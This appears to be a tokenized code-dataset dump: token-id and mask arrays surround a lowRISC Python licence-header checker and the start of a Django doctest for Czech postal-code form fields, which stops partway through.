1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
lowRISC/manticore
|
util/license-checker.py
|
2
|
17721
|
#!/usr/bin/env python3
#
# Copyright lowRISC contributors.
# Licensed under the Apache License, Version 2.0, see LICENSE for details.
# SPDX-License-Identifier: Apache-2.0
import argparse
import fnmatch
import logging
import re
import subprocess
from pathlib import Path
from types import SimpleNamespace
import hjson
from tabulate import tabulate
class LicenceHeader(object):
"""Represents the licence header we want to insert"""
def __init__(self, text):
self._lines = text.strip().splitlines()
def __getitem__(self, idx):
return self._lines.__getitem__(idx)
def __len__(self):
return self._lines.__len__()
def numbered_lines(self, skip=0):
"""Returns an iterator of (line_no, line_text).
`line_no` counts from 1, and is for humans to count line numbers with.
use `skip_lines` to skip enumerating the first few lines.
"""
return enumerate(self._lines[skip:], start=1 + skip)
@property
def first_word(self):
(first_word, _) = self._lines[0].split(' ', 1)
return first_word
class CommentStyle:
'''Base class for comment style objects'''
def __init__(self, first_line_prefix, comment_prefix):
self.first_line_prefix = first_line_prefix
self.comment_prefix = comment_prefix
def search_line_pattern(self, licence_first_word):
return re.compile(
re.escape(self.comment_prefix + ' ' + licence_first_word))
def full_line_parts(self, licence_line):
return [re.escape(self.comment_prefix), licence_line]
def full_line_pattern(self, licence_line):
'''Returns a regex pattern which matches one line of licence text.'''
return re.compile(' '.join(self.full_line_parts(licence_line)))
class LineCommentStyle(CommentStyle):
"""Helpers for line-style comments."""
def __init__(self, prefix):
super().__init__(prefix, prefix)
class DifferentFirstLineCommentStyle(CommentStyle):
"""Some files have a different allowable prefix for their first line."""
def __init__(self, first_line_prefix, prefix):
super().__init__(first_line_prefix, prefix)
class BlockCommentStyle(CommentStyle):
"""Helpers for block-style comments."""
def __init__(self, prefix, suffix):
super().__init__(prefix, prefix)
self.comment_suffix = str(suffix)
def full_line_parts(self, licence_line):
return [
re.escape(self.comment_prefix), licence_line,
re.escape(self.comment_suffix)
]
SLASH_SLASH = '//'
HASH = '#'
SLASH_STAR = '/*'
COMMENT_STYLES = {
SLASH_SLASH: LineCommentStyle("//"),
HASH: LineCommentStyle("#"),
SLASH_STAR: BlockCommentStyle("/*", "*/"),
'corefile': DifferentFirstLineCommentStyle("CAPI=2", "#")
}
# (Prioritised) Mapping of file name suffixes to comment style. If the suffix
# of your file does not match one of these, it will not be checked.
#
# Each entry is a pair (suffixes, styles). suffixes is a list of file suffixes:
# if a filename matches one of these suffixes, we'll use the styles in styles.
# styles is either a string or a list of strings. If there is one or more
# strings, these strings must all be keys of COMMENT_STYLES and they give the
# different comment styles that are acceptable for the file type.
#
# These rules are given in priority order. Tuples higher in the list are
# matched before those later in the list, on purpose.
#
# Files that either do not match any extension or that have an empty list of
# styles are not checked for a licence.
COMMENT_CHARS = [
# Hardware Files
([".svh", ".sv", ".sv.tpl"], SLASH_SLASH), # SystemVerilog
# Hardware Build Systems
([".tcl", ".sdc"], HASH), # tcl
([".core", ".core.tpl"], 'corefile'), # FuseSoC Core Files
(["Makefile", ".mk"], HASH), # Makefiles
([".ys"], HASH), # Yosys script
([".waiver"], HASH), # AscentLint waiver files
([".vlt"], SLASH_SLASH), # Verilator configuration (waiver) files
([".vbl"], HASH), # Verible configuration files
([".el", ".el.tpl"], SLASH_SLASH), # Exclusion list
([".cfg", ".cfg.tpl"], [SLASH_SLASH,
HASH]), # Kinds of configuration files
([".f"], []), # File lists (not checked)
# The following two rules will inevitably bite us.
(["riviera_run.do"], HASH), # Riviera dofile
([".do"], SLASH_SLASH), # Cadence LEC dofile
# Software Files
([".c", ".c.tpl", ".h", ".h.tpl", ".cc", ".cpp"], SLASH_SLASH), # C, C++
([".def"], SLASH_SLASH), # C, C++ X-Include List Declaration Files
([".S"], [SLASH_SLASH, SLASH_STAR]), # Assembly (With Preprocessing)
([".s"], SLASH_STAR), # Assembly (Without Preprocessing)
([".ld", ".ld.tpl"], SLASH_STAR), # Linker Scripts
([".rs", ".rs.tpl"], SLASH_SLASH), # Rust
# Software Build Systems
(["meson.build", "toolchain.txt", "meson_options.txt"], HASH), # Meson
# General Tooling
([".py"], HASH), # Python
([".sh"], HASH), # Shell Scripts
(["Dockerfile"], HASH), # Dockerfiles
# Configuration
([".hjson", ".hjson.tpl"], SLASH_SLASH), # hjson
([".yml", ".yaml"], HASH), # YAML
([".toml"], HASH), # TOML
(["-requirements.txt"], HASH), # Apt and Python requirements files
(["redirector.conf"], HASH), # nginx config
# Documentation
([".md", ".md.tpl", ".html"], []), # Markdown and HTML (not checked)
([".css"], SLASH_STAR), # CSS
([".scss"], SLASH_SLASH), # SCSS
# Templates (Last because there are overlaps with extensions above)
([".tpl"], HASH), # Mako templates
]
class LicenceMatcher:
'''An object to match a given licence at the start of a file'''
def __init__(self, comment_style, licence, match_regex):
self.style = comment_style
self.expected_lines = list()
# In case we are using regex matching we can pass the full line "as is"
if match_regex:
for i, ll in enumerate(licence):
try:
self.expected_lines.append(
comment_style.full_line_pattern(ll))
# Catch any regex error here and raise a runtime error.
except re.error as e:
raise RuntimeError(
"Can't compile line {} of the licence as a regular expression. Saw `{}`: {}"
.format(i, e.pattern[e.pos], e.msg))
# use the "first line" as a licence marker
self.search_marker = self.expected_lines[0]
# For non-regex matching we need to escape everything.
# This can never throw an exception as everything has been escaped and
# therefore is always a legal regex.
else:
self.search_marker = comment_style.search_line_pattern(
licence.first_word)
self.expected_lines = [
comment_style.full_line_pattern(re.escape(ll))
for ll in licence
]
self.lines_left = []
def looks_like_first_line_comment(self, line):
return line.startswith(self.style.first_line_prefix)
def looks_like_comment(self, line):
return line.startswith(self.style.comment_prefix)
def looks_like_first_line(self, line):
return self.search_marker.match(line) is not None
def start(self):
'''Reset lines_left, to match at the start of the licence'''
self.lines_left = self.expected_lines
def take_line(self, line):
'''Check whether line matches the next line of the licence.
Returns a pair (matched, done). matched is true if the line matched. If
this was the last line of the licence, done is true. On a match, this
increments an internal counter, so the next call to take_line will
match against the next line of the licence.
'''
# If we have no more lines to match, claim a match and that we're done.
# This shouldn't happen in practice, except if the configuration has an
# empty licence.
if not self.lines_left:
return (True, True)
next_expected = self.lines_left[0]
matched = next_expected.fullmatch(line)
if not matched:
return (False, False)
if matched:
self.lines_left = self.lines_left[1:]
return (True, not self.lines_left)
def detect_comment_char(all_matchers, filename):
'''Find zero or more LicenceMatcher objects for filename
all_matchers should be a dict like COMMENT_STYLES, but where the values are
the corresponding LicenceMatcher objects.
'''
found = None
for (suffixes, keys) in COMMENT_CHARS:
if found is not None:
break
for suffix in suffixes:
if filename.endswith(suffix):
found = keys
break
if found is None:
return []
if not isinstance(found, list):
assert isinstance(found, str)
found = [found]
return [all_matchers[key] for key in found]
def git_find_repo_toplevel():
git_output = subprocess.check_output(
['git', 'rev-parse', '--show-toplevel'])
return Path(git_output.decode().strip()).resolve()
def git_find_all_file_paths(top_level, search_paths):
git_output = subprocess.check_output(
["git", "-C",
str(top_level), "ls-files", "-z", "--", *search_paths])
for path in git_output.rstrip(b"\0").split(b"\0"):
yield Path(top_level, path.decode())
class ResultsTracker(object):
"""Helper for tracking results"""
def __init__(self, base_dir):
self.base_dir = base_dir
passed_count = 0
failed_count = 0
excluded_count = 0
skipped_count = 0
failing_paths = set()
@property
def total_count(self):
return (self.passed_count + self.failed_count + self.skipped_count +
self.excluded_count)
def passed(self, path, line_no, reason):
rel_path = path.relative_to(self.base_dir)
logging.debug("%s:%d PASSED: %s", str(rel_path), line_no, reason)
self.passed_count += 1
def failed(self, path, line_no, reason):
rel_path = path.relative_to(self.base_dir)
logging.error("%s:%d FAILED: %s", str(rel_path), line_no, reason)
self.failing_paths.add(rel_path)
self.failed_count += 1
def skipped(self, path, reason):
rel_path = path.relative_to(self.base_dir)
logging.info("%s: SKIPPED: %s", str(rel_path), reason)
self.skipped_count += 1
def excluded(self, path, reason):
rel_path = path.relative_to(self.base_dir)
logging.debug("%s: EXCLUDED: %s", str(rel_path), reason)
self.excluded_count += 1
def any_failed(self):
return self.failed_count > 0
def display_nicely(self):
headers = ["Results:", "Files"]
results = [["Passed", self.passed_count],
["Failed", self.failed_count],
["Skipped", self.skipped_count],
["Excluded", self.excluded_count],
["Total", self.total_count]]
return tabulate(results, headers, tablefmt="simple")
def matches_exclude_pattern(config, file_path):
rel_path = str(file_path.relative_to(config.base_dir))
for exclude_pattern in config.exclude_paths:
if fnmatch.fnmatch(rel_path, exclude_pattern):
return True
return False
def check_paths(config, git_paths):
results = ResultsTracker(config.base_dir)
try:
all_matchers = {
key: LicenceMatcher(style, config.licence, config.match_regex)
for key, style in COMMENT_STYLES.items()
}
except RuntimeError as e:
exit(e)
for filepath in git_find_all_file_paths(config.base_dir, git_paths):
# Skip symlinks (with message)
if filepath.is_symlink():
results.excluded(filepath, "File is a symlink")
continue
# Skip non-file
if not filepath.is_file():
continue
# Skip exclude patterns
if matches_exclude_pattern(config, filepath):
results.excluded(filepath, "Path matches exclude pattern")
continue
check_file_for_licence(all_matchers, results, filepath)
return results
def check_file_for_licence(all_matchers, results, filepath):
matchers = detect_comment_char(all_matchers, filepath.name)
if not matchers:
results.skipped(filepath, "Unknown comment style")
return
if filepath.stat().st_size == 0:
results.skipped(filepath, "Empty file")
return
problems = []
for matcher in matchers:
good, line_num, msg = check_file_with_matcher(matcher, filepath)
if good:
results.passed(filepath, line_num, msg)
return
else:
problems.append((line_num, msg))
# If we get here, we didn't find a matching licence
for line_num, msg in problems:
results.failed(filepath, line_num, msg)
def check_file_with_matcher(matcher, filepath):
'''Check the file at filepath against matcher.
Returns a tuple (is_good, line_number, msg). is_good is True on success;
False on failure. line_number is the position where the licence was found
(on success) or where we gave up searching for it (on failure). msg is the
associated success or error message.
'''
def next_line(file, line_no):
return (next(file).rstrip(), line_no + 1)
with filepath.open() as f:
licence_assumed_start = None
# Get first line
try:
line, line_no = next_line(f, 0)
except StopIteration:
return (False, 1, "Empty file")
# Check first line against the first word of licence, or against a
# possible different first line.
if not matcher.looks_like_first_line(line):
if not matcher.looks_like_first_line_comment(line):
return (False, line_no, "File does not start with comment")
try:
line, line_no = next_line(f, line_no)
except StopIteration:
return (False, line_no,
"Reached end of file before finding licence")
# Skip lines that don't seem to be the first line of the licence
while not matcher.looks_like_first_line(line):
try:
line, line_no = next_line(f, line_no)
except StopIteration:
return (False, line_no,
"Reached end of file before finding licence")
if not matcher.looks_like_comment(line):
return (False, line_no,
"First comment ended before licence notice")
# We found the marker, so we found the first line of the licence. The
# current line is in the first comment, so check the line matches the
# expected first line:
licence_assumed_start = line_no
matcher.start()
matched, done = matcher.take_line(line)
if not matched:
return (False, line_no, "Licence does not match")
while not done:
try:
line, line_no = next_line(f, line_no)
except StopIteration:
return (False, line_no,
"Reached end of file before finding licence")
# Check against full expected line.
matched, done = matcher.take_line(line)
if not matched:
return (False, line_no, "Licence did not match")
return (True, licence_assumed_start, "Licence found")
def main():
desc = "A tool to check the lowRISC licence header is in each source file"
parser = argparse.ArgumentParser(description=desc)
parser.add_argument("--config",
metavar="config.hjson",
type=argparse.FileType('r', encoding='UTF-8'),
required=True,
help="HJSON file to read for licence configuration.")
parser.add_argument("paths",
metavar="path",
nargs='*',
default=["."],
help="Paths to check for licence headers.")
parser.add_argument('-v',
"--verbose",
action='store_true',
dest='verbose',
help="Verbose output")
options = parser.parse_args()
if options.verbose:
logging.basicConfig(format="%(levelname)s: %(message)s",
level=logging.INFO)
else:
logging.basicConfig(format="%(levelname)s: %(message)s")
config = SimpleNamespace()
config.base_dir = git_find_repo_toplevel()
parsed_config = hjson.load(options.config)
config.licence = LicenceHeader(parsed_config['licence'])
config.exclude_paths = set(parsed_config['exclude_paths'])
# Check whether we should use regex matching or full string matching.
match_regex = parsed_config.get('match_regex', 'false')
if match_regex not in ['true', 'false']:
print('Invalid value for match_regex: {!r}. '
'Should be "true" or "false".'.format(match_regex))
exit(1)
config.match_regex = match_regex == 'true'
results = check_paths(config, options.paths)
print(results.display_nicely())
if results.any_failed():
print("Failed:")
for path in results.failing_paths:
print(" {}".format(str(path)))
print("")
exit(1)
else:
exit(0)
if __name__ == '__main__':
main()
|
apache-2.0
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
19,
199,
3,
199,
3,
1898,
6465,
50,
25806,
8417,
14,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
12,
1937,
5113,
367,
2436,
14,
199,
3,
6988,
19596,
13,
3761,
13,
7544,
26,
3668,
13,
18,
14,
16,
199,
199,
646,
7534,
199,
646,
15951,
199,
646,
2050,
199,
646,
295,
199,
646,
3873,
199,
504,
32212,
492,
6912,
199,
504,
2943,
492,
5870,
8814,
199,
199,
646,
394,
1001,
199,
504,
5174,
5434,
492,
5174,
5434,
421,
199,
533,
491,
530,
4894,
2567,
8,
785,
304,
272,
408,
18089,
314,
23854,
4894,
1406,
781,
2934,
370,
5518,
624,
272,
347,
636,
826,
721,
277,
12,
1318,
304,
267,
291,
423,
1278,
275,
1318,
14,
1913,
1252,
7644,
342,
339,
347,
636,
6095,
721,
277,
12,
4280,
304,
267,
372,
291,
423,
1278,
855,
6095,
721,
2996,
9,
339,
347,
636,
552,
721,
277,
304,
267,
372,
291,
423,
1278,
855,
552,
4533,
339,
347,
1967,
18897,
63,
1278,
8,
277,
12,
3372,
29,
16,
304,
267,
408,
3407,
376,
6122,
402,
334,
604,
63,
889,
12,
1004,
63,
505,
680,
398,
658,
604,
63,
889,
64,
8242,
687,
413,
12,
436,
365,
367,
394,
453,
796,
370,
2338,
1004,
5579,
543,
14,
267,
675,
658,
2759,
63,
1278,
64,
370,
3372,
3720,
10417,
314,
1642,
9284,
2385,
14,
267,
408,
267,
372,
3874,
8,
277,
423,
1278,
59,
2759,
8429,
1343,
29,
17,
435,
3372,
9,
339,
768,
1829,
272,
347,
1642,
63,
1027,
8,
277,
304,
267,
334,
2246,
63,
1027,
12,
20795,
275,
291,
423,
1278,
59,
16,
1055,
1294,
360,
1656,
413,
9,
267,
372,
1642,
63,
1027,
421,
199,
533,
6819,
6609,
26,
272,
1449,
1563,
1021,
367,
3721,
3449,
2251,
2344,
272,
347,
636,
826,
721,
277,
12,
1642,
63,
604,
63,
1861,
12,
3721,
63,
1861,
304,
267,
291,
14,
2246,
63,
604,
63,
1861,
275,
1642,
63,
604,
63,
1861,
267,
291,
14,
3349,
63,
1861,
275,
3721,
63,
1861,
339,
347,
2754,
63,
604,
63,
3401,
8,
277,
12,
23854,
4894,
63,
2246,
63,
1027,
304,
267,
372,
295,
14,
2014,
8,
288,
295,
14,
3765,
8,
277,
14,
3349,
63,
1861,
435,
283,
283,
435,
23854,
4894,
63,
2246,
63,
1027,
430,
339,
347,
2615,
63,
604,
63,
4181,
8,
277,
12,
23854,
4894,
63,
604,
304,
267,
372,
359,
264,
14,
3765,
8,
277,
14,
3349,
63,
1861,
395,
23854,
4894,
63,
604,
61,
339,
347,
2615,
63,
604,
63,
3401,
8,
277,
12,
23854,
4894,
63,
604,
304,
267,
1449,
3407,
282,
5163,
3851,
1314,
4450,
1373,
1004,
402,
23854,
4894,
1318,
10595,
267,
372,
295,
14,
2014,
360,
1987,
904,
8,
277,
14,
2861,
63,
604,
63,
4181,
8,
606,
4894,
63,
604,
1724,
421,
199,
533,
7030,
7488,
6609,
8,
7488,
6609,
304,
272,
408,
4433,
83,
367,
1004,
13,
2487,
6786,
1041,
272,
347,
636,
826,
721,
277,
12,
2403,
304,
267,
1613,
11027,
826,
721,
1861,
12,
2403,
9,
421,
199,
533,
18029,
640,
7147,
3049,
7488,
6609,
8,
7488,
6609,
304,
272,
408,
7700,
1584,
1172,
282,
3365,
32518,
2403,
367,
3932,
1642,
1004,
1041,
272,
347,
636,
826,
721,
277,
12,
1642,
63,
604,
63,
1861,
12,
2403,
304,
267,
1613,
11027,
826,
721,
2246,
63,
604,
63,
1861,
12,
2403,
9,
421,
199,
533,
8651,
7488,
6609,
8,
7488,
6609,
304,
272,
408,
4433,
83,
367,
1853,
13,
2487,
6786,
1041,
272,
347,
636,
826,
721,
277,
12,
2403,
12,
4739,
304,
267,
1613,
11027,
826,
721,
1861,
12,
2403,
9,
267,
291,
14,
3349,
63,
4511,
275,
620,
8,
4511,
9,
339,
347,
2615,
63,
604,
63,
4181,
8,
277,
12,
23854,
4894,
63,
604,
304,
267,
372,
359,
288,
295,
14,
3765,
8,
277,
14,
3349,
63,
1861,
395,
23854,
4894,
63,
604,
12,
288,
295,
14,
3765,
8,
277,
14,
3349,
63,
4511,
9,
267,
1622,
421,
199,
27192,
63,
27192,
275,
18290,
7,
199,
14395,
275,
19619,
199,
27192,
63,
30302,
275,
1994,
10223,
199,
199,
10973,
63,
12307,
11344,
275,
469,
272,
428,
44,
8100,
63,
27192,
26,
7030,
7488,
6609,
21816,
1288,
272,
7509,
40,
26,
7030,
7488,
6609,
10064,
1288,
272,
428,
44,
8100,
63,
30302,
26,
8651,
7488,
6609,
4769,
14421,
8969,
15,
1288,
272,
283,
1018,
493,
356,
18029,
640,
7147,
3049,
7488,
6609,
480,
35,
3735,
29,
18,
401,
5426,
531,
199,
93,
199,
199,
3,
334,
4562,
269,
5277,
939,
9,
12340,
402,
570,
536,
19475,
370,
3721,
3449,
14,
982,
314,
4739,
199,
3,
402,
2195,
570,
1630,
440,
1336,
1373,
402,
3520,
12,
652,
911,
440,
506,
7923,
14,
199,
3,
199,
3,
7048,
2397,
365,
282,
4092,
334,
16097,
12,
15725,
680,
19475,
365,
282,
769,
402,
570,
19475,
26,
199,
3,
340,
282,
1788,
4450,
1373,
402,
3520,
19475,
12,
781,
7171,
675,
314,
15725,
315,
15725,
14,
199,
3,
15725,
365,
1902,
282,
1059,
503,
282,
769,
402,
3326,
14,
982,
2337,
365,
1373,
503,
1655,
199,
3,
3326,
12,
3520,
3326,
1471,
1006,
506,
2883,
402,
25071,
63,
12307,
11344,
436,
2985,
8120,
314,
199,
3,
3365,
3721,
15725,
626,
787,
14712,
367,
314,
570,
730,
14,
199,
3,
199,
3,
5723,
4713,
787,
1627,
315,
7464,
1865,
14,
11634,
83,
10948,
315,
314,
769,
787,
199,
3,
7838,
2544,
5204,
2945,
315,
314,
769,
12,
641,
12016,
14,
199,
3,
199,
3,
16920,
626,
1902,
886,
440,
1336,
1263,
3329,
503,
626,
1172,
376,
2701,
769,
402,
199,
3,
15725,
787,
440,
7923,
367,
282,
23854,
4894,
14,
199,
10973,
63,
16326,
275,
359,
272,
327,
22825,
1068,
16920,
272,
334,
905,
14,
2772,
72,
401,
3680,
2772,
401,
3680,
2772,
14,
15436,
2255,
428,
44,
8100,
63,
27192,
395,
221,
327,
6187,
3673,
73,
793,
339,
327,
22825,
1068,
6516,
15285,
272,
334,
905,
14,
23644,
401,
3680,
83,
3833,
2255,
7509,
40,
395,
221,
327,
28309,
272,
334,
905,
14,
1018,
401,
3680,
1018,
14,
15436,
2255,
283,
1018,
493,
659,
221,
327,
481,
1180,
5158,
35,
11672,
16920,
272,
334,
905,
19878
] |
[
2647,
15,
1393,
15,
1813,
2366,
19,
199,
3,
199,
3,
1898,
6465,
50,
25806,
8417,
14,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
12,
1937,
5113,
367,
2436,
14,
199,
3,
6988,
19596,
13,
3761,
13,
7544,
26,
3668,
13,
18,
14,
16,
199,
199,
646,
7534,
199,
646,
15951,
199,
646,
2050,
199,
646,
295,
199,
646,
3873,
199,
504,
32212,
492,
6912,
199,
504,
2943,
492,
5870,
8814,
199,
199,
646,
394,
1001,
199,
504,
5174,
5434,
492,
5174,
5434,
421,
199,
533,
491,
530,
4894,
2567,
8,
785,
304,
272,
408,
18089,
314,
23854,
4894,
1406,
781,
2934,
370,
5518,
624,
272,
347,
636,
826,
721,
277,
12,
1318,
304,
267,
291,
423,
1278,
275,
1318,
14,
1913,
1252,
7644,
342,
339,
347,
636,
6095,
721,
277,
12,
4280,
304,
267,
372,
291,
423,
1278,
855,
6095,
721,
2996,
9,
339,
347,
636,
552,
721,
277,
304,
267,
372,
291,
423,
1278,
855,
552,
4533,
339,
347,
1967,
18897,
63,
1278,
8,
277,
12,
3372,
29,
16,
304,
267,
408,
3407,
376,
6122,
402,
334,
604,
63,
889,
12,
1004,
63,
505,
680,
398,
658,
604,
63,
889,
64,
8242,
687,
413,
12,
436,
365,
367,
394,
453,
796,
370,
2338,
1004,
5579,
543,
14,
267,
675,
658,
2759,
63,
1278,
64,
370,
3372,
3720,
10417,
314,
1642,
9284,
2385,
14,
267,
408,
267,
372,
3874,
8,
277,
423,
1278,
59,
2759,
8429,
1343,
29,
17,
435,
3372,
9,
339,
768,
1829,
272,
347,
1642,
63,
1027,
8,
277,
304,
267,
334,
2246,
63,
1027,
12,
20795,
275,
291,
423,
1278,
59,
16,
1055,
1294,
360,
1656,
413,
9,
267,
372,
1642,
63,
1027,
421,
199,
533,
6819,
6609,
26,
272,
1449,
1563,
1021,
367,
3721,
3449,
2251,
2344,
272,
347,
636,
826,
721,
277,
12,
1642,
63,
604,
63,
1861,
12,
3721,
63,
1861,
304,
267,
291,
14,
2246,
63,
604,
63,
1861,
275,
1642,
63,
604,
63,
1861,
267,
291,
14,
3349,
63,
1861,
275,
3721,
63,
1861,
339,
347,
2754,
63,
604,
63,
3401,
8,
277,
12,
23854,
4894,
63,
2246,
63,
1027,
304,
267,
372,
295,
14,
2014,
8,
288,
295,
14,
3765,
8,
277,
14,
3349,
63,
1861,
435,
283,
283,
435,
23854,
4894,
63,
2246,
63,
1027,
430,
339,
347,
2615,
63,
604,
63,
4181,
8,
277,
12,
23854,
4894,
63,
604,
304,
267,
372,
359,
264,
14,
3765,
8,
277,
14,
3349,
63,
1861,
395,
23854,
4894,
63,
604,
61,
339,
347,
2615,
63,
604,
63,
3401,
8,
277,
12,
23854,
4894,
63,
604,
304,
267,
1449,
3407,
282,
5163,
3851,
1314,
4450,
1373,
1004,
402,
23854,
4894,
1318,
10595,
267,
372,
295,
14,
2014,
360,
1987,
904,
8,
277,
14,
2861,
63,
604,
63,
4181,
8,
606,
4894,
63,
604,
1724,
421,
199,
533,
7030,
7488,
6609,
8,
7488,
6609,
304,
272,
408,
4433,
83,
367,
1004,
13,
2487,
6786,
1041,
272,
347,
636,
826,
721,
277,
12,
2403,
304,
267,
1613,
11027,
826,
721,
1861,
12,
2403,
9,
421,
199,
533,
18029,
640,
7147,
3049,
7488,
6609,
8,
7488,
6609,
304,
272,
408,
7700,
1584,
1172,
282,
3365,
32518,
2403,
367,
3932,
1642,
1004,
1041,
272,
347,
636,
826,
721,
277,
12,
1642,
63,
604,
63,
1861,
12,
2403,
304,
267,
1613,
11027,
826,
721,
2246,
63,
604,
63,
1861,
12,
2403,
9,
421,
199,
533,
8651,
7488,
6609,
8,
7488,
6609,
304,
272,
408,
4433,
83,
367,
1853,
13,
2487,
6786,
1041,
272,
347,
636,
826,
721,
277,
12,
2403,
12,
4739,
304,
267,
1613,
11027,
826,
721,
1861,
12,
2403,
9,
267,
291,
14,
3349,
63,
4511,
275,
620,
8,
4511,
9,
339,
347,
2615,
63,
604,
63,
4181,
8,
277,
12,
23854,
4894,
63,
604,
304,
267,
372,
359,
288,
295,
14,
3765,
8,
277,
14,
3349,
63,
1861,
395,
23854,
4894,
63,
604,
12,
288,
295,
14,
3765,
8,
277,
14,
3349,
63,
4511,
9,
267,
1622,
421,
199,
27192,
63,
27192,
275,
18290,
7,
199,
14395,
275,
19619,
199,
27192,
63,
30302,
275,
1994,
10223,
199,
199,
10973,
63,
12307,
11344,
275,
469,
272,
428,
44,
8100,
63,
27192,
26,
7030,
7488,
6609,
21816,
1288,
272,
7509,
40,
26,
7030,
7488,
6609,
10064,
1288,
272,
428,
44,
8100,
63,
30302,
26,
8651,
7488,
6609,
4769,
14421,
8969,
15,
1288,
272,
283,
1018,
493,
356,
18029,
640,
7147,
3049,
7488,
6609,
480,
35,
3735,
29,
18,
401,
5426,
531,
199,
93,
199,
199,
3,
334,
4562,
269,
5277,
939,
9,
12340,
402,
570,
536,
19475,
370,
3721,
3449,
14,
982,
314,
4739,
199,
3,
402,
2195,
570,
1630,
440,
1336,
1373,
402,
3520,
12,
652,
911,
440,
506,
7923,
14,
199,
3,
199,
3,
7048,
2397,
365,
282,
4092,
334,
16097,
12,
15725,
680,
19475,
365,
282,
769,
402,
570,
19475,
26,
199,
3,
340,
282,
1788,
4450,
1373,
402,
3520,
19475,
12,
781,
7171,
675,
314,
15725,
315,
15725,
14,
199,
3,
15725,
365,
1902,
282,
1059,
503,
282,
769,
402,
3326,
14,
982,
2337,
365,
1373,
503,
1655,
199,
3,
3326,
12,
3520,
3326,
1471,
1006,
506,
2883,
402,
25071,
63,
12307,
11344,
436,
2985,
8120,
314,
199,
3,
3365,
3721,
15725,
626,
787,
14712,
367,
314,
570,
730,
14,
199,
3,
199,
3,
5723,
4713,
787,
1627,
315,
7464,
1865,
14,
11634,
83,
10948,
315,
314,
769,
787,
199,
3,
7838,
2544,
5204,
2945,
315,
314,
769,
12,
641,
12016,
14,
199,
3,
199,
3,
16920,
626,
1902,
886,
440,
1336,
1263,
3329,
503,
626,
1172,
376,
2701,
769,
402,
199,
3,
15725,
787,
440,
7923,
367,
282,
23854,
4894,
14,
199,
10973,
63,
16326,
275,
359,
272,
327,
22825,
1068,
16920,
272,
334,
905,
14,
2772,
72,
401,
3680,
2772,
401,
3680,
2772,
14,
15436,
2255,
428,
44,
8100,
63,
27192,
395,
221,
327,
6187,
3673,
73,
793,
339,
327,
22825,
1068,
6516,
15285,
272,
334,
905,
14,
23644,
401,
3680,
83,
3833,
2255,
7509,
40,
395,
221,
327,
28309,
272,
334,
905,
14,
1018,
401,
3680,
1018,
14,
15436,
2255,
283,
1018,
493,
659,
221,
327,
481,
1180,
5158,
35,
11672,
16920,
272,
334,
905,
19878,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
Smarsh/django
|
tests/regressiontests/forms/localflavor/cz.py
|
18
|
4319
|
# -*- coding: utf-8 -*-
# Tests for the contrib/localflavor/ CZ Form Fields
tests = r"""
# CZPostalCodeField #########################################################
>>> from django.contrib.localflavor.cz.forms import CZPostalCodeField
>>> f = CZPostalCodeField()
>>> f.clean('84545x')
Traceback (most recent call last):
...
ValidationError: [u'Enter a postal code in the format XXXXX or XXX XX.']
>>> f.clean('91909')
u'91909'
>>> f.clean('917 01')
u'91701'
>>> f.clean('12345')
u'12345'
>>> f.clean('123456')
Traceback (most recent call last):
...
ValidationError: [u'Enter a postal code in the format XXXXX or XXX XX.']
>>> f.clean('1234')
Traceback (most recent call last):
...
ValidationError: [u'Enter a postal code in the format XXXXX or XXX XX.']
>>> f.clean('123 4')
Traceback (most recent call last):
...
ValidationError: [u'Enter a postal code in the format XXXXX or XXX XX.']
# CZRegionSelect ############################################################
>>> from django.contrib.localflavor.cz.forms import CZRegionSelect
>>> w = CZRegionSelect()
>>> w.render('regions', 'TT')
